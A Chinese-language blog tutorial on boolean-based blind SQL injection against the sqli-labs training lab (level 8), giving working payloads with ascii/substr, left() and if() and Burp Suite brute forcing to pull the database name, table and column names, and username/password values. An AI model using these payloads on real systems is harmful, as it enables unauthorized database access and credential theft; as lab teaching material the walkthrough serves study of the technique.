布尔盲注——多种方式实现及利用burpsuite爆破

目录

1、判断闭合符类型

2、爆数据库长度

3、查询库名

手动注入

burpsuite爆破

方法一:用ASCII码值转化爆破

方法二:left方法直接爆破字母

方法三:if方法爆破注入(最简单)

4、爆破表名

5、爆破具体值


当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,页面呈现出两种状态,正常或者不正常。根据这两种状态可以判断我们输入的语句是否查询成功。不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注。

接下来我们用实例来感受下布尔盲注!!

以sqli-labs-masterless-8关为例:

1、判断闭合符类型

当输入

?id=1' 

页面显示没有结果

但当加入--+之后,页面又显示正常,这说明,闭合符就是**'**

当输入

?id=1' and 1=1 --+ #显示正常

?id=1' and 1=1 --+ #显示异常

就可以确定是布尔盲注了.

2、爆数据库长度

?id=1' and length(database())>=10 --+

length()函数返回字符串的长度,这里采用二分法,直到找到一个分界点,即为数据库长度,这里得到长度为8

3、查询库名

手动注入

手动一个一个测试

ascii() #返回ASCII码值

substr(要截取的字符串,开始位,截取的长度) #截取字符串

构造payload:

?id=1' and ascii(substr(database(),1,1))>=115 --+ #显示正常

?id=1' and ascii(substr(database(),1,1))>=116 --+ #显示异常

说明数据库名的第一个字符的ascii码值为115,查询ascii码表即可得知对应的字符为s

查询第二个字符需要将开始位改为2,再一个一个查询即:

?id=1' and ascii(substr(database(),2,1))>=115 --+

已知库名长度为八,我们可以尝试手动注入八次,但是这样消耗的时间太长了,我们还可以利用脚本和burpsuit来爆破,这里演示用bp爆破库名

burpsuite爆破

可以采用三种方式来构造payload进行爆破

?id=1' and ascii(substr(database(),1,1))=115 --+

?id=1' and left(database(),1)='s' --+

方法一:用ASCII码值转化爆破
?id=1' and ascii(substr(database(),1,1))=115 --+

substr的第一个1表示从第一位开始,第二个一表示每次爆破一位,于是我们的爆破点就有两个

一号爆破点选择1~8,因为之前我们已经得知数据库名字长度为8位了,所以只需选择一到八

二号爆破点选择的是字母的ascii码值,可以从本地导入,于是得到库名

查询ascii码表即可得知库名为security

方法二:left方法直接爆破字母

介绍一下left函数 left(参数1,参数2) 意为 将参数1从左开始取参数2个

示例: left(abc,2) 返回值为ab

之后将他与字符串进行比较 例如 **left(abc,1)>'a'**返回结果为false 因为 'a'='a'

同样的**left(abc,2)>'aa'**返回结果为TURE 因为'ab'是要大于'aa'

根据返回的结果的真假 与前面的语句用and相连接 构造逻辑关系

及 后面结果为真 页面就正常回显 若后面的语句为假 则 页面回显异常

构造payload:

?id=1' and left(database(),1)='s' --+

用burpsuite抓包后选择字符为爆破点

爆破内容选择a~z26个字母

第一个爆破结果如图所示,这种方法的限制是一次只能爆破一个字母

如果要接着爆破下一个字母,需要在爆破点前加上爆破出来的字母,并将left函数里面的数字修改。如:爆破第二个字母,需要将1改为2,并在爆破点前加上刚刚爆破出来的s,这是由left的匹配机制所决定的,2的意思是字符的前两个字母,于是需要加上s

爆破出来的第二个字母为e

后面也都是一样的步骤,这里就不赘述了。用left()从database()中选取字符进行爆破,这种方法的缺点是太过于复杂,需要逐次爆破,通常不使用这种方法。

方法三:if方法爆破注入(最简单)

if(1=1,1,0) 表示:如果1=1,则返回1,否则返回0;

构造payload:

?id=1' and if(substr(database(),1,1)='s',1,0) --+

substr(database(),1,1)='s'表示从库名选择第一个字母,判断其是否等于s,如果是,则返回1,页面正常显示,如果不是,则返回2,页面显示异常

选择两个爆破点:

爆破结果:得到库名security

4、爆破表名

?id=1' and if(substring(( select table_name from information_schema.tables where table_schema=database() limit 0,1**),1,1)='a',1,0)**--+

select table_name from information_schema.tables where table_schema=database():在当前数据库内查询表名,由于一个数据库中通常有许多表,于是我们需要用 limit 0,1来限制行数,

limit 0,1表示从第一条开始取出一条数据,需要注意的是limit默认下标从0开始,第一个参数是下标,查数据的话是从第一条查,第二个参数限定了几条数据。

( select table_name from information_schema.tables where table_schema=database() limit 0,1**):**选择第一行的数据,即第一个表名

substring(( select table_name from information_schema.tables where table_schema=database() limit 0,1**)****,1,1):**每次取一个字母进行爆破,第一个1表示从第一个字母开始,第二个一表示每次取一个

选择爆破点,依旧还是选择集束炸弹模式,让两个爆破点爆破的数据随机组合

这里由于不知道表名有多少个字符,字典可以选择长一点,这里我们选择0~20

第二个爆破点依旧选择26个字母

最终得到第一个表名:emails

后面继续爆破剩下的表名,只需改动limit为对应行即可,如要爆破第二个表名,只需将limit 0,1改为limit 1,1即可。

得到第2个表名referers,后面就不再一一演示了。

5、爆破列名

只需将表名改为列名,并限制要查询表的名称,如要查询users表中的列名,构造payload

?id=1' and if(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='a',1,0)--+

同样可以一个一个地查询列名

但是一行一行查太麻烦了,我们可以尝试一次查询多行,只需将limit限制查询的行数也进行爆破即可。爆破点如下:

爆破结果:

5、爆破具体值

我们尝试爆破password和username两列的值,由于username和password列中有许多组数据,这里就只示例一组数据的爆破。

首先爆破username的值,构造payload

?id=1' and if(substring((select username from users limit 0,1),1,1)='a',1,0)--+

得到第一个username的值dumb:

接下来爆破password的值:

构造payload:

?id=1' and if(substring((select password from users limit 0,1),1,1)='a',1,0)--+

得到password依旧为dumb

于是我们拿到了第一组数据,其username和password均为dumb;

今天就写到这里啦,喜欢的话给我点个赞吧,我们一起成长!!!

后续还会更新更多sql注入的内容,喜欢的宝子可以关注我的sql专栏哦~_~

相关推荐
成富7 分钟前
文本转SQL(Text-to-SQL),场景介绍与 Spring AI 实现
数据库·人工智能·sql·spring·oracle
songqq278 分钟前
SQL题:使用hive查询各类型专利top 10申请人,以及对应的专利申请数
数据库·sql
计算机学长felix12 分钟前
基于SpringBoot的“校园交友网站”的设计与实现(源码+数据库+文档+PPT)
数据库·spring boot·毕业设计·交友
小码的头发丝、1 小时前
Django中ListView 和 DetailView类的区别
数据库·python·django
Karoku0661 小时前
【企业级分布式系统】Zabbix监控系统与部署安装
运维·服务器·数据库·redis·mysql·zabbix
周全全2 小时前
MySQL报错解决:The user specified as a definer (‘root‘@‘%‘) does not exist
android·数据库·mysql
白云如幻2 小时前
MySQL的分组函数
数据库·mysql
荒川之神2 小时前
ORACLE 闪回技术简介
数据库·oracle
时差9533 小时前
【面试题】Hive 查询:如何查找用户连续三天登录的记录
大数据·数据库·hive·sql·面试·database
让学习成为一种生活方式3 小时前
R包下载太慢安装中止的解决策略-R语言003
java·数据库·r语言